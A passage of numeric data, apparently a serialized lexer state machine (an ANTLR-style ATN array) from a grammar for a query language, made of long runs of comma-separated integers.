1, 0, 0, 0, 262, 1269, 1, 0, 0, 0, 264, 1271, 1, 0, 0, 0, 266, 1274, 1, 0, 0, 0, 268, 1276, 1, 0, 0, 0, 270, 1279, 1, 0, 0, 0, 272, 1281, 1, 0, 0, 0, 274, 1283, 1, 0, 0, 0, 276, 1285, 1, 0, 0, 0, 278, 1287, 1, 0, 0, 0, 280, 1289, 1, 0, 0, 0, 282, 1291, 1, 0, 0, 0, 284, 1293, 1, 0, 0, 0, 286, 1296, 1, 0, 0, 0, 288, 1317, 1, 0, 0, 0, 290, 1336, 1, 0, 0, 0, 292, 1338, 1, 0, 0, 0, 294, 1343, 1, 0, 0, 0, 296, 1348, 1, 0, 0, 0, 298, 1353, 1, 0, 0, 0, 300, 1374, 1, 0, 0, 0, 302, 1376, 1, 0, 0, 0, 304, 1384, 1, 0, 0, 0, 306, 1386, 1, 0, 0, 0, 308, 1390, 1, 0, 0, 0, 310, 1394, 1, 0, 0, 0, 312, 1398, 1, 0, 0, 0, 314, 1403, 1, 0, 0, 0, 316, 1407, 1, 0, 0, 0, 318, 1411, 1, 0, 0, 0, 320, 1415, 1, 0, 0, 0, 322, 1419, 1, 0, 0, 0, 324, 1423, 1, 0, 0, 0, 326, 1427, 1, 0, 0, 0, 328, 1436, 1, 0, 0, 0, 330, 1444, 1, 0, 0, 0, 332, 1447, 1, 0, 0, 0, 334, 1451, 1, 0, 0, 0, 336, 1455, 1, 0, 0, 0, 338, 1459, 1, 0, 0, 0, 340, 1463, 1, 0, 0, 0, 342, 1467, 1, 0, 0, 0, 344, 1471, 1, 0, 0, 0, 346, 1476, 1, 0, 0, 0, 348, 1482, 1, 0, 0, 0, 350, 1487, 1, 0, 0, 0, 352, 1491, 1, 0, 0, 0, 354, 1495, 1, 0, 0, 0, 356, 1499, 1, 0, 0, 0, 358, 1504, 1, 0, 0, 0, 360, 1509, 1, 0, 0, 0, 362, 1513, 1, 0, 0, 0, 364, 1519, 1, 0, 0, 0, 366, 1528, 1, 0, 0, 0, 368, 1532, 1, 0, 0, 0, 370, 1536, 1, 0, 0, 0, 372, 1540, 1, 0, 0, 0, 374, 1544, 1, 0, 0, 0, 376, 1548, 1, 0, 0, 0, 378, 1552, 1, 0, 0, 0, 380, 1556, 1, 0, 0, 0, 382, 1560, 1, 0, 0, 0, 384, 1565, 1, 0, 0, 0, 386, 1571, 1, 0, 0, 0, 388, 1575, 1, 0, 0, 0, 390, 1579, 1, 0, 0, 0, 392, 1583, 1, 0, 0, 0, 394, 1588, 1, 0, 0, 0, 396, 1592, 1, 0, 0, 0, 398, 1596, 1, 0, 0, 0, 400, 1600, 1, 0, 0, 0, 402, 1604, 1, 0, 0, 0, 404, 1608, 1, 0, 0, 0, 406, 1614, 1, 0, 0, 0, 408, 1621, 1, 0, 0, 0, 410, 1625, 1, 0, 0, 0, 412, 1629, 1, 0, 0, 0, 414, 1633, 1, 0, 0, 0, 416, 1637, 1, 0, 0, 0, 418, 1641, 1, 0, 0, 0, 420, 1645, 1, 0, 0, 0, 422, 1650, 1, 0, 0, 0, 424, 1656, 1, 0, 0, 0, 426, 1660, 1, 0, 0, 0, 428, 1664, 1, 0, 0, 0, 430, 1668, 1, 0, 0, 0, 432, 1672, 1, 0, 0, 0, 434, 1676, 1, 0, 0, 0, 436, 1680, 1, 0, 0, 0, 438, 1684, 1, 0, 0, 0, 440, 1688, 1, 0, 0, 0, 442, 1692, 1, 0, 0, 0, 444, 1696, 1, 0, 0, 0, 446, 1701, 1, 0, 0, 0, 448, 1707, 1, 0, 0, 0, 450, 1711, 1, 0, 0, 0, 452, 1715, 1, 0, 0, 0, 454, 1719, 1, 0, 0, 0, 456, 1723, 1, 0, 0, 0, 458, 1727, 1, 0, 0, 0, 460, 1735, 1, 0, 0, 0, 462, 1756, 1, 0, 0, 0, 464, 1760, 1, 0, 0, 0, 466, 1764, 1, 0, 0, 0, 468, 1768, 1, 0, 0, 0, 470, 1772, 1, 0, 0, 0, 472, 1776, 1, 0, 0, 0, 474, 1781, 1, 0, 0, 0, 476, 1787, 1, 0, 0, 0, 478, 1791, 1, 0, 0, 0, 480, 1795, 1, 0, 0, 0, 482, 1799, 1, 0, 0, 0, 484, 1803, 1, 0, 0, 0, 486, 1807, 1, 0, 0, 0, 488, 1811, 1, 0, 0, 0, 490, 1815, 1, 0, 0, 0, 492, 1818, 1, 0, 0, 0, 494, 1822, 1, 0, 0, 0, 496, 1826, 1, 0, 0, 0, 498, 1830, 1, 0, 0, 0, 500, 1834, 1, 0, 0, 0, 502, 1839, 1, 0, 0, 0, 504, 1844, 1, 0, 0, 0, 506, 1848, 1, 0, 0, 0, 508, 1852, 1, 0, 0, 0, 510, 511, 5, 47, 0, 0, 511, 512, 5, 47, 0, 0, 512, 516, 1, 0, 0, 0, 513, 515, 8, 0, 0, 0, 514, 513, 1, 0, 0, 0, 515, 518, 1, 0, 0, 0, 516, 514, 1, 0, 0, 0, 516, 517, 1, 0, 0, 0, 517, 520, 1, 0, 0, 0, 518, 516, 1, 0, 0, 0, 519, 521, 5, 13, 0, 0, 520, 519, 1, 0, 0, 0, 520, 521, 1, 0, 0, 0, 521, 523, 1, 0, 0, 0, 522, 524, 5, 10, 0, 0, 523, 522, 1, 0, 0, 0, 523, 524, 1, 0, 0, 0, 524, 525, 1, 0, 0, 0, 525, 526, 6, 0, 0, 0, 526, 17, 1, 0, 0, 0, 527, 528, 5, 47, 0, 0, 528, 529, 5, 42, 0, 0, 529, 534, 1, 0, 0, 0, 530, 533, 3, 18, 1, 0, 531, 533, 9, 0, 0, 0, 532, 530, 1, 0, 0, 0, 532, 531, 1, 0, 0, 0, 533, 536, 1, 0, 0, 0, 534, 535, 1, 0, 0, 0, 534, 532, 1, 0, 0, 0, 535, 537, 1, 0, 0, 0, 536, 534, 1, 0, 0, 0, 537, 538, 5, 42, 0, 0, 538, 539, 5, 47, 0, 0, 539, 540, 1, 0, 0, 0, 540, 541, 6, 1, 0, 0, 541, 19, 1, 0, 0, 0, 542, 544, 7, 1, 0, 0, 543, 542, 1, 0, 0, 0, 544, 545, 1, 0, 0, 0, 545, 543, 1, 0, 0, 0, 545, 546, 1, 0, 0, 0, 546, 547, 1, 0, 0, 0, 547, 548, 6, 2, 0, 0, 548, 21, 1, 0, 0, 0, 549, 550, 7, 2, 0, 0, 550, 551, 7, 3, 0, 0, 551, 552, 7, 4, 0, 0, 552, 553, 7, 5, 0, 0, 553, 554, 7, 6, 0, 0, 554, 555, 7, 7, 0, 0, 555, 556, 5, 95, 0, 0, 556, 557, 7, 8, 0, 0, 557, 558, 7, 9, 0, 0, 558, 559, 7, 10, 0, 0, 559, 560, 7, 5, 0, 0, 560, 561, 7, 11, 0, 0, 561, 562, 1, 0, 0, 0, 562, 563, 6, 3, 1, 0, 563, 23, 1, 0, 0, 0, 564, 565, 7, 7, 0, 0, 565, 566, 7, 5, 0, 0, 566, 567, 7, 12, 0, 0, 567, 568, 7, 10, 0, 0, 568, 569, 7, 2, 0, 0, 569, 570, 7, 3, 0, 0, 570, 571, 1, 0, 0, 0, 571, 572, 6, 4, 2, 0, 572, 25, 1, 0, 0, 0, 573, 574, 4, 5, 0, 0, 574, 575, 7, 7, 0, 0, 575, 576, 7, 13, 0, 0, 576, 577, 7, 8, 0, 0, 577, 578, 7, 14, 0, 0, 578, 579, 7, 4, 0, 0, 579, 580, 7, 10, 0, 0, 580, 581, 7, 5, 0, 0, 581, 582, 1, 0, 0, 0, 582, 583, 6, 5, 3, 0, 583, 27, 1, 0, 0, 0, 584, 585, 7, 2, 0, 0, 585, 586, 7, 9, 0, 0, 586, 587, 7, 15, 0, 0, 587, 588, 7, 8, 0, 0, 588, 589, 7, 14, 0, 0, 589, 590, 7, 7, 0, 0, 590, 591, 7, 11, 0, 0, 591, 592, 7, 10, 0, 0, 592, 593, 7, 9, 0, 0, 593, 594, 7, 5, 0, 0, 594, 595, 1, 0, 0, 0, 595, 596, 6, 6, 4, 0, 596, 29, 1, 0, 0, 0, 597, 598, 7, 16, 0, 0, 598, 599, 7, 10, 0, 0, 599, 600, 7, 17, 0, 0, 600, 601, 7, 17, 0, 0, 601, 602, 7, 7, 0, 0, 602, 603, 7, 2, 0, 0, 603, 604, 7, 11, 0, 0, 604, 605, 1, 0, 0, 0, 605, 606, 6, 7, 4, 0, 606, 31, 1, 0, 0, 0, 607, 608, 7, 7, 0, 0, 608, 609, 7, 18, 0, 0, 609, 610, 7, 4, 0, 0, 610, 611, 7, 14, 0, 0, 611, 612, 1, 0, 0, 0, 612, 613, 6, 8, 4, 0, 613, 33, 1, 0, 0, 0, 614, 615, 7, 6, 0, 0, 615, 616, 7, 12, 0, 0, 616, 617, 7, 9, 0, 0, 617, 618, 7, 19, 0, 0, 618, 619, 1, 0, 0, 0, 619, 620, 6, 9, 4, 0, 620, 35, 1, 0, 0, 0, 621, 622, 7, 14, 0, 0, 622, 623, 7, 10, 0, 0, 623, 624, 7, 15, 0, 0, 624, 625, 7, 10, 0, 0, 625, 626, 7, 11, 0, 0, 626, 627, 1, 0, 0, 0, 627, 628, 6, 10, 4, 0, 628, 37, 1, 0, 0, 0, 629, 630, 7, 12, 0, 0, 630, 631, 7, 9, 0, 0, 631, 632, 7, 20, 0, 0, 632, 633, 1, 0, 0, 0, 633, 634, 6, 11, 4, 0, 634, 39, 1, 0, 0, 0, 635, 636, 7, 17, 0, 0, 636, 637, 7, 4, 0, 0, 637, 638, 7, 15, 0, 0, 638, 639, 7, 8, 0, 0, 639, 640, 7, 14, 0, 0, 640, 641, 7, 7, 0, 0, 641, 642, 1, 0, 0, 0, 642, 643, 6, 12, 4, 0, 643, 41, 1, 0, 0, 0, 644, 645, 7, 17, 0, 0, 645, 646, 7, 9, 0, 0, 646, 647, 7, 12, 0, 0, 647, 648, 7, 11, 0, 0, 648, 649, 1, 0, 0, 0, 649, 650, 6, 13, 4, 0, 650, 43, 1, 0, 0, 0, 651, 652, 7, 17, 0, 0, 652, 653, 7, 11, 0, 0, 653, 654, 7, 4, 0, 0, 654, 655, 7, 11, 0, 0, 655, 656, 7, 17, 0, 0, 656, 657, 1, 0, 0, 0, 657, 658, 6, 14, 4, 0, 658, 45, 1, 0, 0, 0, 659, 660, 7, 20, 0, 0, 660, 661, 7, 3, 0, 0, 661, 662, 7, 7, 0, 0, 662, 663, 7, 12, 0, 0, 663, 664, 7, 7, 0, 0, 664, 665, 1, 0, 0, 0, 665, 666, 6, 15, 4, 0, 666, 47, 1, 0, 0, 0, 667, 668, 4, 16, 1, 0, 668, 669, 7, 10, 0, 0, 669, 670, 7, 5, 0, 0, 670, 671, 7, 14, 0, 0, 671, 672, 7, 10, 0, 0, 672, 673, 7, 5, 0, 0, 673, 674, 7, 7, 0, 0, 674, 675, 7, 17, 0, 0, 675, 676, 7, 11, 0, 0, 676, 677, 7, 4, 0, 0, 677, 678, 7, 11, 0, 0, 678, 679, 7, 17, 0, 0, 679, 680, 1, 0, 0, 0, 680, 681, 6, 16, 4, 0, 681, 49, 1, 0, 0, 0, 682, 683, 4, 17, 2, 0, 683, 684, 7, 12, 0, 0, 684, 685, 7, 7, 0, 0, 685, 686, 7, 12, 0, 0, 686, 687, 7, 4, 0, 0, 687, 688, 7, 5, 0, 0, 688, 689, 7, 19, 0, 0, 689, 690, 1, 0, 0, 0, 690, 691, 6, 17, 4, 0, 691, 51, 1, 0, 0, 0, 692, 693, 7, 21, 0, 0, 693, 694, 7, 12, 0, 0, 694, 695, 7, 9, 0, 0, 695, 696, 7, 15, 0, 0, 696, 697, 1, 0, 0, 0, 697, 698, 6, 18, 5, 0, 698, 53, 1, 0, 0, 0, 699, 700, 4, 19, 3, 0, 700, 701, 7, 11, 0, 0, 701, 702, 7, 17, 0, 0, 702, 703, 1, 0, 0, 0, 703, 704, 6, 19, 5, 0, 704, 55, 1, 0, 0, 0, 705, 706, 7, 21, 0, 0, 706, 707, 7, 9, 0, 0, 707, 708, 7, 12, 0, 0, 708, 709, 7, 19, 0, 0, 709, 710, 1, 0, 0, 0, 710, 711, 6, 20, 6, 0, 711, 57, 1, 0, 0, 0, 712, 713, 7, 14, 0, 0, 713, 714, 7, 9, 0, 0, 714, 715, 7, 9, 0, 0, 715, 716, 7, 19, 0, 0, 716, 717, 7, 22, 0, 0, 717, 718, 7, 8, 0, 0, 718, 719, 1, 0, 0, 0, 719, 720, 6, 21, 7, 0, 720, 59, 1, 0, 0, 0, 721, 722, 4, 22, 4, 0, 722, 723, 7, 21, 0, 0, 723, 724, 7, 22, 0, 0, 724, 725, 7, 14, 0, 0, 725, 726, 7, 14, 0, 0, 726, 727, 1, 0, 0, 0, 727, 728, 6, 22, 7, 0, 728, 61, 1, 0, 0, 0, 729, 730, 4, 23, 5, 0, 730, 731, 7, 14, 0, 0, 731, 732, 7, 7, 0, 0, 732, 733, 7, 21, 0, 0, 733, 734, 7, 11, 0, 0, 734, 735, 1, 0, 0, 0, 735, 736, 6, 23, 7, 0, 736, 63, 1, 0, 0, 0, 737, 738, 4, 24, 6, 0, 738, 739, 7, 12, 0, 0, 739, 740, 7, 10, 0, 0, 740, 741, 7, 6, 0, 0, 741, 742, 7, 3, 0, 0, 742, 743, 7, 11, 0, 0, 743, 744, 1, 0, 0, 0, 744, 745, 6, 24, 7, 0, 745, 65, 1, 0, 0, 0, 746, 747, 4, 25, 7, 0, 747, 748, 7, 14, 0, 0, 748, 749, 7, 9, 0, 0, 749, 750, 7, 9, 0, 0, 750, 751, 7, 19, 0, 0, 751, 752, 7, 22, 0, 0, 752, 753, 7, 8, 0, 0, 753, 754, 5, 95, 0, 0, 754, 755, 5, 128020, 0, 0, 755, 756, 1, 0, 0, 0, 756, 757, 6, 25, 8, 0, 757, 67, 1, 0, 0, 0, 758, 759, 7, 15, 0, 0, 759, 760, 7, 18, 0, 0, 760, 761, 5, 95, 0, 0, 761, 762, 7, 7, 0, 0, 762, 763, 7, 13, 0, 0, 763, 764, 7, 8, 0, 0, 764, 765, 7, 4, 0, 0, 765, 766, 7, 5, 0, 0, 766, 767, 7, 16, 0, 0, 767, 768, 1, 0, 0, 0, 768, 769, 6, 26, 9, 0, 769, 69, 1, 0, 0, 0, 770, 771, 7, 16, 0, 0, 771, 772, 7, 12, 0, 0, 772, 773, 7, 9, 0, 0, 773, 774, 7, 8, 0, 0, 774, 775, 1, 0, 0, 0, 775, 776, 6, 27, 10, 0, 776, 71, 1, 0, 0, 0, 777, 778, 7, 19, 0, 0, 778, 779, 7, 7, 0, 0, 779, 780, 7, 7, 0, 0, 780, 781, 7, 8, 0, 0, 781, 782, 1, 0, 0, 0, 782, 783, 6, 28, 10, 0, 783, 73, 1, 0, 0, 0, 784, 785, 4, 29, 8, 0, 785, 786, 7, 10, 0, 0, 786, 787, 7, 5, 0, 0, 787, 788, 7, 17, 0, 0, 788, 789, 7, 10, 0, 0, 789, 790, 7, 17, 0, 0, 790, 791, 7, 11, 0, 0, 791, 792, 5, 95, 0, 0, 792, 793, 5, 128020, 0, 0, 793, 794, 1, 0, 0, 0, 794, 795, 6, 29, 10, 0, 795, 75, 1, 0, 0, 0, 796, 797, 4, 30, 9, 0, 797, 798, 7, 12, 0, 0, 798, 799, 7, 12, 0, 0, 799, 800, 7, 21, 0, 0, 800, 801, 1, 0, 0, 0, 801, 802, 6, 30, 4, 0, 802, 77, 1, 0, 0, 0, 803, 804, 7, 12, 0, 0, 804, 805, 7, 7, 0, 0, 805, 806, 7, 5, 0, 0, 806, 807, 7, 4, 0, 0, 807, 808, 7, 15, 0, 0, 808, 809, 7, 7, 0, 0, 809, 810, 1, 0, 0, 0, 810, 811, 6, 31, 11, 0, 811, 79, 1, 0, 0, 0, 812, 813, 7, 17, 0, 0, 813, 814, 7, 3, 0, 0, 814, 815, 7, 9, 0, 0, 815, 816, 7, 20, 0, 0, 816, 817, 1, 0, 0, 0, 817, 818, 6, 32, 12, 0, 818, 81, 1, 0, 0, 0, 819, 821, 8, 23, 0, 0, 820, 819, 1, 0, 0, 0, 821, 822, 1, 0, 0, 0, 822, 820, 1, 0, 0, 0, 822, 823, 1, 0, 0, 0, 823, 824, 1, 0, 0, 0, 824, 825, 6, 33, 4, 0, 825, 83, 1, 0, 0, 0, 826, 827, 3, 180, 82, 0, 827, 828, 1, 0, 0, 0, 828, 829, 6, 34, 13, 0, 829, 830, 6, 34, 14, 0, 830, 85, 1, 0, 0, 0, 831, 832, 3, 298, 141, 0, 832, 833, 1, 0, 0, 0, 833, 834, 6, 35, 15, 0, 834, 835, 6, 35, 14, 0, 835, 836, 6, 35, 14, 0, 836, 87, 1, 0, 0, 0, 837, 838, 3, 244, 114, 0, 838, 839, 1, 0, 0, 0, 839, 840, 6, 36, 16, 0, 840, 89, 1, 0, 0, 0, 841, 842, 3, 490, 237, 0, 842, 843, 1, 0, 0, 0, 843, 844, 6, 37, 17, 0, 844, 91, 1, 0, 0, 0, 845, 846, 3, 224, 104, 0, 846, 847, 1, 0, 0, 0, 847, 848, 6, 38, 18, 0, 848, 93, 1, 0, 0, 0, 849, 850, 3, 220, 102, 0, 850, 851, 1, 0, 0, 0, 851, 852, 6, 39, 19, 0, 852, 95, 1, 0, 0, 0, 853, 854, 3, 304, 144, 0, 854, 855, 1, 0, 0, 0, 855, 856, 6, 40, 20, 0, 856, 97, 1, 0, 0, 0, 857, 858, 3, 300, 142, 0, 858, 859, 1, 0, 0, 0, 859, 860, 6, 41, 21, 0, 860, 99, 1, 0, 0, 0, 861, 862, 3, 16, 0, 0, 862, 863, 1, 0, 0, 0, 863, 864, 6, 42, 0, 0, 864, 101, 1, 0, 0, 0, 865, 866, 3, 18, 1, 0, 866, 867, 1, 0, 0, 0, 867, 868, 6, 43, 0, 0, 868, 103, 1, 0, 0, 0, 869, 870, 3, 20, 2, 0, 870, 871, 1, 0, 0, 0, 871, 872, 6, 44, 0, 0, 872, 105, 1, 0, 0, 0, 873, 874, 3, 180, 82, 0, 874, 875, 1, 0, 0, 0, 875, 876, 6, 45, 13, 0, 876, 877, 6, 45, 14, 0, 877, 107, 1, 0, 0, 0, 878, 879, 3, 298, 141, 0, 879, 880, 1, 0, 0, 0, 880, 881, 6, 46, 15, 0, 881, 882, 6, 46, 14, 0, 882, 883, 6, 46, 14, 0, 883, 109, 1, 0, 0, 0, 884, 885, 3, 292, 138, 0, 885, 886, 1, 0, 0, 0, 886, 887, 6, 47, 22, 0, 887, 888, 6, 47, 23, 0, 888, 111, 1, 0, 0, 0, 889, 890, 3, 244, 114, 0, 890, 891, 1, 0, 0, 0, 891, 892, 6, 48, 16, 0, 892, 893, 6, 48, 24, 0, 893, 113, 1, 0, 0, 0, 894, 895, 3, 254, 119, 0, 895, 896, 1, 0, 0, 0, 896, 897, 6, 49, 25, 0, 897, 898, 6, 49, 24, 0, 898, 115, 1, 0, 0, 0, 899, 900, 8, 24, 0, 0, 900, 117, 1, 0, 0, 0, 901, 903, 3, 116, 50, 0, 902, 901, 1, 0, 0, 0, 903, 904, 1, 0, 0, 0, 904, 902, 1, 0, 0, 0, 904, 905, 1, 0, 0, 0, 905, 906, 1, 0, 0, 0, 906, 907, 3, 218, 101, 0, 907, 909, 1, 0, 0, 0, 908, 902, 1, 0, 0, 0, 908, 909, 1, 0, 0, 0, 909, 911, 1, 0, 0, 0, 910, 912, 3, 116, 50, 0, 911, 910, 1, 0, 0, 0, 912, 913, 1, 0, 0, 0, 913, 911, 1, 0, 0, 0, 913, 914, 1, 0, 0, 0, 914, 119, 1, 0, 0, 0, 915, 916, 3, 118, 51, 0, 916, 917, 1, 0, 0, 0, 917, 918, 6, 52, 26, 0, 918, 121, 1, 0, 0, 0, 919, 920, 3, 16, 0, 0, 920, 921, 1, 0, 0, 0, 921, 922, 6, 53, 0, 0, 922, 123, 1, 0, 0, 0, 923, 924, 3, 18, 1, 0, 924, 925, 1, 0, 0, 0, 925, 926, 6, 54, 0, 0, 926, 125, 1, 0, 0, 0, 927, 928, 3, 20, 2, 0, 928, 929, 1, 0, 0, 0, 929, 930, 6, 55, 0, 0, 930, 127, 1, 0, 0, 0, 931, 932, 3, 180, 82, 0, 932, 933, 1, 0, 0, 0, 933, 934, 6, 56, 13, 0, 934, 935, 6, 56, 14, 0, 935, 936, 6, 56, 14, 0, 936, 129, 1, 0, 0, 0, 937, 938, 3, 298, 141, 0, 938, 939, 1, 0, 0, 0, 939, 940, 6, 57, 15, 0, 940, 941, 6, 57, 14, 0, 941, 942, 6, 57, 14, 0, 942, 943, 6, 57, 14, 0, 943, 131, 1, 0, 0, 0, 944, 945, 3, 212, 98, 0, 945, 946, 1, 0, 0, 0, 946, 947, 6, 58, 27, 0, 947, 133, 1, 0, 0, 0, 948, 949, 3, 220, 102, 0, 949, 950, 1, 0, 0, 0, 950, 951, 6, 59, 19, 0, 951, 135, 1, 0, 0, 0, 952, 953, 3, 224, 104, 0, 953, 954, 1, 0, 0, 0, 954, 955, 6, 60, 18, 0, 955, 137, 1, 0, 0, 0, 956, 957, 3, 254, 119, 0, 957, 958, 1, 0, 0, 0, 958, 959, 6, 61, 25, 0, 959, 139, 1, 0, 0, 0, 960, 961, 3, 464, 224, 0, 961, 962, 1, 0, 0, 0, 962, 963, 6, 62, 28, 0, 963, 141, 1, 0, 0, 0, 964, 965, 3, 304, 144, 0, 965, 966, 1, 0, 0, 0, 966, 967, 6, 63, 20, 0, 967, 143, 1, 0, 0, 0, 968, 969, 3, 248, 116, 0, 969, 970, 1, 0, 0, 0, 970, 971, 6, 64, 29, 0, 971, 145, 1, 0, 0, 0, 972, 973, 3, 288, 136, 0, 973, 974, 1, 0, 0, 0, 974, 975, 6, 65, 30, 0, 975, 147, 1, 0, 0, 0, 976, 977, 3, 284, 134, 0, 977, 978, 1, 0, 0, 0, 978, 979, 6, 66, 31, 0, 979, 149, 1, 0, 0, 0, 980, 981, 3, 290, 137, 0, 981, 982, 1, 0, 0, 0, 982, 983, 6, 67, 32, 0, 983, 151, 1, 0, 0, 0, 984, 985, 3, 16, 0, 0, 985, 986, 1, 0, 0, 0, 986, 987, 6, 68, 0, 0, 987, 153, 1, 0, 0, 0, 988, 989, 3, 18, 1, 0, 989, 990, 1, 0, 0, 0, 990, 991, 6, 69, 0, 0, 991, 155, 1, 0, 0, 0, 992, 993, 3, 20, 2, 0, 993, 994, 1, 0, 0, 0, 994, 995, 6, 70, 0, 0, 995, 157, 1, 0, 0, 0, 996, 997, 3, 294, 139, 0, 997, 998, 1, 0, 0, 0, 998, 999, 6, 71, 33, 0, 999, 1000, 6, 71, 14, 0, 1000, 159, 1, 0, 0, 0, 1001, 1002, 3, 218, 101, 0, 1002, 1003, 1, 0, 0, 0, 1003, 1004, 6, 72, 34, 0, 1004, 161, 1, 0, 0, 0, 1005, 1011, 3, 192, 88, 0, 1006, 1011, 3, 182, 83, 0, 1007, 1011, 3, 224, 104, 0, 1008, 1011, 3, 184, 84, 0, 1009, 1011, 3, 198, 91, 0, 1010, 1005, 1, 0, 0, 0, 1010, 1006, 1, 0, 0, 0, 1010, 1007, 1, 0, 0, 0, 1010, 1008, 1, 0, 0, 0, 1010, 1009, 1, 0, 0, 0, 1011, 1012, 1, 0, 0, 0, 1012, 1010, 1, 0, 0, 0, 1012, 1013, 1, 0, 0, 0, 1013, 163, 1, 0, 0, 0, 1014, 1015, 3, 16, 0, 0, 1015, 1016, 1, 0, 0, 0, 1016, 1017, 6, 74, 0, 0, 1017, 165, 1, 0, 0, 0, 1018, 1019, 3, 18, 1, 0, 1019, 1020, 1, 0, 0, 0, 1020, 1021, 6, 75, 0, 0, 1021, 167, 1, 0, 0, 0, 1022, 1023, 3, 20, 2, 0, 1023, 1024, 1, 0, 0, 0, 1024, 1025, 6, 76, 0, 0, 1025, 169, 1, 0, 0, 0, 1026, 1027, 3, 296, 140, 0, 1027, 1028, 1, 0, 0, 0, 1028, 1029, 6, 77, 35, 0, 1029, 1030, 6, 77, 36, 0, 1030, 171, 1, 0, 0, 0, 1031, 1032, 3, 180, 82, 0, 1032, 1033, 1, 0, 0, 0, 1033, 1034, 6, 78, 13, 0, 1034, 1035, 6, 78, 14, 0, 1035, 173, 1, 0, 0, 0, 1036, 1037, 3, 20, 2, 0, 1037, 1038, 1, 0, 0, 0, 1038, 1039, 6, 79, 0, 0, 1039, 175, 1, 0, 0, 0, 1040, 1041, 3, 16, 0, 0, 1041, 1042, 1, 0, 0, 0, 1042, 1043, 6, 80, 0, 0, 1043, 177, 1, 0, 0, 0, 1044, 1045, 3, 18, 1, 0, 1045, 1046, 1, 0, 0, 0, 1046, 1047, 6, 81, 0, 0, 1047, 179, 1, 0, 0, 0, 1048, 1049, 5, 124, 0, 0, 1049, 1050, 1, 0, 0, 0, 1050, 1051, 6, 82, 14, 0, 1051, 181, 1, 0, 0, 0, 1052, 1053, 7, 25, 0, 0, 1053, 183, 1, 0, 0, 0, 1054, 1055, 7, 26, 0, 0, 1055, 185, 1, 0, 0, 0, 1056, 1057, 5, 92, 0, 0, 1057, 1058, 7, 27, 0, 0, 1058, 187, 1, 0, 0, 0, 1059, 1060, 8, 28, 0, 0, 1060, 189, 1, 0, 0, 0, 1061, 1063, 7, 7, 0, 0, 1062, 1064, 7, 29, 0, 0, 1063, 1062, 1, 0, 0, 0, 1063, 1064, 1, 0, 0, 0, 1064, 1066, 1, 0, 0, 0, 1065, 1067, 3, 182, 83, 0, 1066, 1065, 1, 0, 0, 0, 1067, 1068, 1, 0, 0, 0, 1068, 1066, 1, 0, 0, 0, 1068, 1069, 1, 0, 0, 0, 1069, 191, 1, 0, 0, 0, 1070, 1071, 5, 64, 0, 0, 1071, 193, 1, 0, 0, 0, 1072, 1073, 5, 96, 0, 0, 1073, 195, 1, 0, 0, 0, 1074, 1078, 8, 30, 0, 0, 1075, 1076, 5, 96, 0, 0, 1076, 1078, 5, 96, 0, 0, 1077, 1074, 1, 0, 0, 0, 1077, 1075, 1, 0, 0, 0, 1078, 197, 1, 0, 0, 0, 1079, 1080, 5, 95, 0, 0, 1080, 199, 1, 0, 0, 0, 1081, 1085, 3, 184, 84, 0, 1082, 1085, 3, 182, 83, 0, 1083, 1085, 3, 198, 91, 0, 1084, 1081, 1, 0, 0, 0, 1084, 1082, 1, 0, 0, 0, 1084, 1083, 1, 0, 0, 0, 1085, 201, 1, 0, 0, 0, 1086, 1091, 5, 34, 0, 0, 1087, 1090, 3, 186, 85, 0, 1088, 1090, 3, 188, 86, 0, 1089, 1087, 1, 0, 0, 0, 1089, 1088, 1, 0, 0, 0, 1090, 1093, 1, 0, 0, 0, 1091, 1089, 1, 0, 0, 0, 1091, 1092, 1, 0, 0, 0, 1092, 1094, 1, 0, 0, 0, 1093, 1091, 1, 0, 0, 0, 1094, 1116, 5, 34, 0, 0, 1095, 1096, 5, 34, 0, 0, 1096, 1097, 5, 34, 0, 0, 1097, 1098, 5, 34, 0, 0, 1098, 1102, 1, 0, 0, 0, 1099, 1101, 8, 0, 0, 0, 1100, 1099, 1, 0, 0, 0, 1101, 1104, 1, 0, 0, 0, 1102, 1103, 1, 0, 0, 0, 1102, 1100, 1, 0, 0, 0, 1103, 1105, 1, 0, 0, 0, 1104, 1102, 1, 0, 0, 0, 1105, 1106, 5, 34, 0, 0, 1106, 1107, 5, 34, 0, 0, 1107, 1108, 5, 34, 0, 0, 1108, 1110, 1, 0, 0, 0, 1109, 1111, 5, 34, 0, 0, 1110, 1109, 1, 0, 0, 0, 1110, 1111, 1, 0, 0, 0, 1111, 1113, 1, 0, 0, 0, 1112, 1114, 5, 34, 0, 0, 1113, 1112, 1, 0, 0, 0, 1113, 1114, 1, 0, 0, 0, 1114, 1116, 1, 0, 0, 0, 1115, 1086, 1, 0, 0, 0, 1115, 1095, 1, 0, 0, 0, 1116, 203, 1, 0, 0, 0, 1117, 1119, 3, 182, 83, 0, 1118, 1117, 1, 0, 0, 0, 1119, 1120, 1, 0, 0, 0, 1120, 1118, 1, 0, 0, 0, 1120, 1121, 1, 0, 0, 0, 1121, 205, 1, 0, 0, 0, 1122, 1124, 3, 182, 83, 0, 1123, 1122, 1, 0, 0, 0, 1124, 1125, 1, 0, 0, 0, 1125, 1123, 1, 0, 0, 0, 1125, 1126, 1, 0, 0, 0, 1126, 1127, 1, 0, 0, 0, 1127, 1131, 3, 224, 104, 0, 1128, 1130, 3, 182, 83, 0, 1129, 1128, 1, 0, 0, 0, 1130, 1133, 1, 0, 0, 0, 1131, 1129, 1, 0, 0, 0, 1131, 1132, 1, 0, 0, 0, 1132, 1165, 1, 0, 0, 0, 1133, 1131, 1, 0, 0, 0, 1134, 1136, 3, 224, 104, 0, 1135, 1137, 3, 182, 83, 0, 1136, 1135, 1, 0, 0, 0, 1137, 1138, 1, 0, 0, 0, 1138, 1136, 1, 0, 0, 0, 1138, 1139, 1, 0, 0, 0, 1139, 1165, 1, 0, 0, 0, 1140, 1142, 3, 182, 83, 0, 1141, 1140, 1, 0, 0, 0, 1142, 1143, 1, 0, 0, 0, 1143, 1141, 1, 0, 0, 0, 1143, 1144, 1, 0, 0, 0, 1144, 1152, 1, 0, 0, 0, 1145, 1149, 3, 224, 104, 0, 1146, 1148, 3, 182, 83, 0, 1147, 1146, 1, 0, 0, 0, 1148, 1151, 1, 0, 0, 0, 1149, 1147, 1, 0, 0, 0, 1149, 1150, 1, 0, 0, 0, 1150, 1153, 1, 0, 0, 0, 1151, 1149, 1, 0, 0, 0, 1152, 1145, 1, 0, 0, 0, 1152, 1153, 1, 0, 0, 0, 1153, 1154, 1, 0, 0, 0, 1154, 1155, 3, 190, 87, 0, 1155, 1165, 1, 0, 0, 0, 1156, 1158, 3, 224, 104, 0, 1157, 1159, 3, 182, 83, 0, 1158, 1157, 1, 0, 0, 0, 1159, 1160, 1, 